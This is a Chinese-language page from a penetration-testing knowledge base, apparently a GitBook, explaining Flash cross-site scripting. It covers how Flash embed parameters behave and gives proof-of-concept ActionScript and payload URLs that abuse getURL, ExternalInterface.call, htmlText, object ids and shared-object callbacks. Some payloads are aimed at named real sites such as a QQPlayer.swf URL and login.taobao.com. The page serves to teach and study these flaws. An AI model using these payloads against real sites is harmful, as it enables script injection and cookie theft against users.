secskill
  • Introduction
  • 1.web应用漏洞
    • 1.1 SQL注入漏洞
      • 1.1.1 type注入利用
      • 1.1.2 mothod注入利用
      • 1.1.3 按照效果注入利用
      • 1.1.4 order,limit和from后的注入
      • 1.10.1 sqlmap使用
    • 1.2 目录遍历漏洞
    • 1.3 跨站脚本漏洞
      • 1.3.10 flash xss
      • 1.3.11 Uxss
    • 1.4 未过滤HTML代码漏洞
    • 1.5 数据库运行出错
    • 1.6 Flash安全配置缺陷漏洞
    • 1.7 编辑器漏洞
      • 1.7.1 kindeditor编辑器漏洞
        • 1.7.1.1 kindeditor<=4.1.5文件上传漏洞
      • 1.7.2 fckeditor编辑器漏洞
        • 1.7.2.1 fckeditor<=2.6.4文件上传漏洞
    • 1.8 URL Redirect漏洞
    • 1.9 任意文件上传漏洞
    • 1.10 敏感信息泄露漏洞
    • 1.11 未加密登陆请求漏洞
    • 1.12 后台弱口令漏洞
    • 1.13 后台口令暴力破解漏洞
    • 1.14 跨站请求伪造漏洞
    • 1.15 Unicode 编码转换漏洞
    • 1.16 Possible .Net Error Message
    • 1.17 发生内部错误漏洞
    • 1.18 旁站攻击漏洞
    • 1.19 后台登录页面绕过
    • 1.20 Possible PHP Error Message
    • 1.21 UrlPath Pollution
    • 1.22 File Operation-Web.xml漏洞
    • 1.23 短文件名泄漏漏洞
    • 1.24 OS注入漏洞
    • 1.25 SOAP注入漏洞
    • 1.26 SMTP注入漏洞
    • 1.27 LDAP注入漏洞
    • 1.28 命令执行漏洞
    • 1.29 HTTP消息头注入漏洞
    • 1.30 验证机制缺陷漏洞
    • 1.31 越权漏洞
    • 1.31 服务端请求伪造漏洞
    • 1.32 xxe漏洞
    • 1.33 逻辑漏洞
    • 1.34 支付漏洞
      • 1.34.1 支付漏洞
    • 1.35 cors漏洞
      • 1.35.1 cors
    • 1.36 jsonp漏洞
    • 1.37 点击劫持漏洞
    • 1.38 框架注入漏洞
    • 1.39 文件包含漏洞
    • 1.40 CRLF注入漏洞
    • 1.41 SSTI漏洞
  • 2.中间件漏洞
    • 2.1 IIS
      • 2.1.1 CVE-2017-7269
    • 2.2 Apache
    • 2.3 Axis2
    • 2.4 lighttpd
    • 2.5 Tomcat
      • 2.5.1 CVE-2017-12615
    • 2.6 Nginx
    • 2.7 WebLogic
    • 2.8 JBoss
    • 2.9 Websphere
    • 2.10 Struct2
    • 2.11 XAMMP
    • 2.12 LAMPP
    • 2.13 FastCGI
    • 2.14 PHPCGI
    • 2.15 JOnAS
    • 2.16 Joomla
      • 2.16.1 CVE-2017-8917
    • 2.17 Padding oracle
    • 2.18 Jenkins
      • 2.18.1 CVE-2019-1003000
      • 2.18.2 CVE-2017-1000353
    • 2.18 Drupal
      • 2.18.1 CVE-2019-6340l
    • 2.19 PHPGD
      • 2.19.1 CVE-2019-6977
    • 2.20 PhpMyAdmin
      • 2.20.1 CVE-2016-5734
      • 2.20.2 反序列化漏洞
      • 2.20.3 CVE-2018-12613
    • 2.21 PHP
      • 2.21.1 extract
      • 2.21.2 strcmp
      • 2.21.3 urldecode
      • 2.21.4 md5
      • 2.21.5 strpos
      • 2.21.6 is_numeric
      • 2.21.7 sha
      • 2.21.7 ereg
      • 2.21.8 creat
  • 3.系统漏洞
    • 3.1 DNS域传送漏洞
    • 3.2 SSH Services Port 22 Enabled
    • 3.3 NetBIOS Services Port 139 Enabled
    • 3.4 OpenSSL 漏洞
    • 3.5 docker remote API漏洞
    • 3.6 Samba远程代码执行漏洞
    • 3.7 Windows系统漏洞
      • 3.7.1 ms17-010
      • 3.7.2 ms08-067
      • 3.7.3 ms16-075
      • 3.7.4 CVE-2017-0213
      • 3.7.5 ms16-135
      • 3.7.6 CVE-2018-8120
      • 3.7.7 CVE-2018-0824
    • 3.8 linux系统漏洞
      • 3.8.1 ubuntu
        • 3.8.1.1 CVE-2015-1328
        • 3.8.1.2 CVE-2017-16995
    • 3.9 openssh漏洞
      • 3.9.1 cve-2016-6515
  • 4.网络漏洞
    • 4.1 ARP欺骗嗅探漏洞
    • 4.2 反弹shell的N种姿势
    • 4.3 DNS欺骗
  • 5.cms漏洞
    • 5.1 08cms
    • 5.2 74cms
    • 5.3 Appcms
    • 5.4 Aspcms
    • 5.5 Bluecms
    • 5.6 Cscms
    • 5.7 Dedecms
    • 5.8 Discuz
      • 5.8.1 Discuz任意文件删除
    • 5.9 Dkcms
    • 5.10 Ecshop
    • 5.11 Finecms
    • 5.12 Fscms
    • 5.13 Jeecms
    • 5.14 Ibcms
    • 5.15 Maccms
    • 5.16 Php168
    • 5.17 Phpcms
    • 5.18 Phpmywind
    • 5.19 Phpwind
    • 5.20 Phpweb
    • 5.21 Qibocms
    • 5.22 Seacms
    • 5.23 Shopex
    • 5.24 Thinkphp
      • 5.24.1 SQL
      • 5.24.2 RCE
      • 5.24.3 RCE2
    • 5.25 Typecho
    • 5.26 Wordpress
      • 5.26.1 Wordpress Plugin_sql
    • 5.27 Xycms
    • 5.28 Zabbix
    • 5.29 Zblog
    • 5.30 Zzcms
Powered by GitBook
On this page
  • HTML中嵌入FLASH
  • Flash缺陷参数-addcallback与lso结合

Was this helpful?

  1. 1.web应用漏洞
  2. 1.3 跨站脚本漏洞

1.3.10 flash xss

Previous1.3 跨站脚本漏洞Next1.3.11 Uxss

Last updated 6 years ago

Was this helpful?

HTML中嵌入FLASH

在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed 标签和object 标签,使用如下的代码进行嵌入:

IE下嵌入

非IE下嵌入

可以直接浏览器查看swf 源码 view-source: ,可以看到是CWS开头的一段乱码,即编译好的 action script 2/3 代码

在插入Flash的过程中有两个重要的参数,allowScriptAccess 和 allowNetworking 两个参数:

allowScriptAccess:控制html页面与Flash页面的通讯:

always:html和Flash页面的通讯不做任何的限制;

samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】;

never:html和Flash禁止通讯。

allowNetworking:控制Flash与外部的网络通讯:

all:Flash所有的网络API通讯接口都可用;

internal:navigateToURL,fscommand,ExternalInterface.call不可用;

none:所有的网络API不可用。

1):插入本地的Flash文件。

2):插入本地的Flash,将allowScriptAccess参数改为samedomain。

Html界面与Flash属于同域,因此能够弹出。 3):插入本地Flash,将allowScriptAccess改为never。

运行结果没有弹出。

4):插入远程Flash,将allowScriptAccess改为always。

这里弹出的域为当前html的域名,非Flash的域。 但如果用 iframe 来嵌入 flash 的话,运行你会发现,弹出的是新浪域的cookie。

5):插入远程Flash,将allowScriptAccess改为samedomain

运行结果没有弹出,因为Flash的域不和html在同一域内。

6):插入远程Flash,将allowScriptAccess改为never

运行结果没有弹出,由于禁止了与html界面通讯。

7):将allowScriptAccess置为always,将allowNetworking置为internal

运行结果没有弹出,allowNetworking的参数置为internal,禁止了接口ExternalInterface.all。 ## 常见Flash xss分类总结Flash缺陷参数-getURL Flash提供相关的函数,可以执行js代码,getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call。 本着学习的原则本地搭建实践了下: 本地新建了个Flash,Flash调用外部资源xml文件。 Flash代码: var root_xml:XML = new XML(); root_xml.ignoreWhite = true; root_xml.onLoad = function(success){ if(success){ getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue) }else{ getURL("javascript:alert('fail')") } } root_xml.load(_root.url); xml文件:javascript:alert('xss') 此类问题一般可以使用google搜索xml文件被swf 调用的情况,传入的内容如果没做过滤,很可能出现此类问题。 如果我们的 a.xml 是放在 A 站点,则需要在 A 站点根目录下的 crossdomain.xml 配置一下 allow-access-from 选项。 ### Flash缺陷参数-ExternalInterface.call(参数一) ExternalInterface.call 同样是一个Flash提供的可以执行js的接口函数, ExternalInterface.call函数有两个参数,形如 ExternalInterface.call("函数名","参数1")。 Flash最后执行的JS代码如下: try { __Flash__toXML(函数名("参数1")) ; } catch (e) { ""; } 此段先考虑参数1,即函数名。 Flash文件: var a:String = root.loaderInfo.parameters.func if(ExternalInterface.available){ ExternalInterface.call(a) } else { trace(100) } stop() 从外部获取参数func,使用ExternalInterface.call接收第一个参数,执行。 对比: try { __Flash__toXML(函数名("参数1")) ; } catch (e) { ""; } 创建url: > http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}// 这样实际执行的js代码为: try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { ""; }` http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//` try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { ""; }` 预期结果应该是第一个url执行之后弹出数字1,第二个url执行之后弹出数字100。 ### Flash缺陷参数-ExternalInterface.call(参数二) 有时候当反编译swf 之后,会发现可控的参数的输出位置在ExternalInterface.call 函数的第二个参数,方法和思路与第一个参数的时候类似。 Flash文件: var a:String = root.loaderInfo.parameters.par if(ExternalInterface.available){ ExternalInterface.call("alert",a) } else { trace(100) } stop() Flash文件中的a是从外部获取的参数,此处外部获取的参数par 赋值给了a,作为输出点输出到了ExternalInterface的第二个参数的位置,此处相对于第一个参数的不同之处是,此处的输出点在引号中,因此此处我们需要把引号闭合掉。闭合引号使用的方法是\" 这样会被转义为 \\",这样就可以闭合引号。 根据ExternalInterface.call 的调用原型: try { __Flash__toXML(函数名("参数1")) ; } catch (e) { ""; } 我们将参数输入如下的url: > http://192.168.4.70/ExternalInterface_second.swf?par=1111\%22),al)}catch(e){alert(1000)}// 分析应该执行如下: try{ __Flash__toXML(alert("1111\\"),al } catch(e){ alert(1000) } 如此下来应该就会弹出两个框,一个为1111\,另外一个为1000。 运行结果,弹出1111\: 点击确定,弹出1000: PS. 此处ExternalInterface.call 调用的函数名,编写Flash的时候设置了alert,因此此处会弹两次,一般情况下函数名是不能够被控制的,这样我们使得前面的函数执行异常,执行catch中的js 即可, 如 http://static.video.qq.com/QQPlayer.swf?v=\%22));}catch%20(e){alert(1);}//,如果参数值是从xml 文件节点读取,可以将节点写成。 类似的闭合情形: try { __flash_toXML(SWFUpload.instances[""])}catch(e){alert(1);}//"]).flashReady("参数1")) ; } catch(e) { "" } 利用:swfupload.swf?movieName="])}catch(e){alert(1);}// ### Flash缺陷参数-htmlText Flash支持在Flash里内嵌html,支持的标签img标签,a标签等。 img标签可以通过src参数引入一个Flash文件,类似与XSF一样。 本地创建Flash文件, import fl.controls.TextArea; var a:String = root.loaderInfo.parameters.url var t:TextArea = new TextArea() t.width = 500 t.height = 300 t.htmlText += a addChild(t) 从获取URL中的参数url,赋值给a,变量a直接输出到了Textarea t 中。 访问如下url: > http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E PS.当反编译Flash文件,发现htmltext 输出点的时候,可以查看相关是否存在相关的可控的输入,可能存在xss。 ### Flash缺陷参数-object的id可控 html与swf 通讯的时候,使用的是ExternalInterface.addCallback 函数,调用如下: function a(){ trace(“hi”); } ExternalInterface.addCallback("myfunc",a); 执行了函数之后,在html上可以通过使用函数名myfunc 来调用Flash中的函数a。 addCallback 的底层实现源代码: if ((((activeX == true)) && (!((objectID == null))))){ _evalJS((((("__Flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");")); }; objectID 为Flash的id,functionName为函数名称即 myfunc,因此当我们插入的Flash的id可控的时候,可能会出现xss问题。 本地创建Flash文件, function a(){ trace("hi") } ExternalInterface.addCallback("myfunc",a) x.html 页面:

注意:在解析 object 标签时会把 &quot; 转回 ",但 xsstest"),(function(){if(!window.x){window.x=1;alert(1)}})(),(" 这一段字符串被当作 text,不会闭合引号。 id 值传递给 document.getElementById 函数时已经是 ",故可以闭合这里的引号。

Flash缺陷参数-addcallback与lso结合

这个问题出现的点在addCallback 声明的函数,在被html 界面js 执行之后的返回值攻击者可控,导致了xss问题。 ie 下 js 会这样处理 flash callback func 执行后的返回值:

eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML
(arguments,0) + "</invoke>"));

ff and chrome 是这样的:

eval(var __flash_temp = "returned value"; __flash_temp;)

使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。 假如 login.taobao.com 上会加载一个 JSocket.swf,代码如下:

function setlso(_arg1:String):Boolean{
    var _local2:SharedObject = SharedObject.getLocal("kj");
    _local2.data.key = _arg1;
    _local2.flush();
    return (true);
}

function getlso():String{
    var _local1:SharedObject = SharedObject.getLocal("kj");
    if(_local1.data.key == undefined){
     return ("");
    }
    return (_local1.data.key);
}
ExternalInterface.addCallback("getlso",getlso)
ExternalInterface.addCallback("setlso",setlso)

x.html:

function set(){document['JSocket'].setlso('aa\\";alert(document.domain);//aa');} setTimeout("set()",5000);

当用户访问放在 A 站点 的 x.html 时,x.html 也加载 JSocket.swf,并 setlso 一个共享变量。当用户再去访问 login.taobao.com 时,使用 getlso 如 document['JSocket'].getlso() 获取共享变量,如上所示,js 会对callback 函数执行的返回值做处理,如 eval(var __flash_temp = "aa\\";alert(document.domain);//aa ; __flash_temp;) 这样就造成了攻击。

漏洞挖掘:

对于 flash 造成的 xss 问题,目前除了反编译代码看危险函数外,比较主流的是根据 md5 匹配文件内容进行判断,因为出问题的基本是同个版本的 zeroCliboard.swf swfUpload.swf 等文件

http://www.xxx.com/xx.swf